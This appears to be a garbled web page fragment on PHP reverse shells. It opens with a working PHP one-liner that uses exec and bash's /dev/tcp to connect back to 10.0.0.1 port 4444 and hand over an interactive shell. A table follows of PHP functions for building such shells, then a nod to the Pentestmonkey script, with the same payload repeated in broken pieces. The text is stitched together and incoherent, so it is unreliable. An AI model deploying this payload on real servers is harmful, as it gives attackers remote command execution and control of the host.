<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'");?>
Understanding PHP Reverse Shells: Mechanisms, Security Risks, and Best Practices reverse shell php top
| Function | Purpose | |----------|---------| | fsockopen() | Open TCP socket connection to attacker | | pfsockopen() | Persistent version of fsockopen | | socket_create() | Low-level socket creation | | exec() , system() | Execute OS commands | | proc_open() | Advanced process control (with pipes) | | die() or exit() | Terminate script if connection fails | | fwrite() / fread() | Read/write over socket | | shell_exec() | Return command output as string | ?php exec("/bin/bash -c 'bash -i >
The Pentestmonkey PHP script is the industry standard for web-based exploitation. & /dev/tcp/10.0.0.1/4444 0>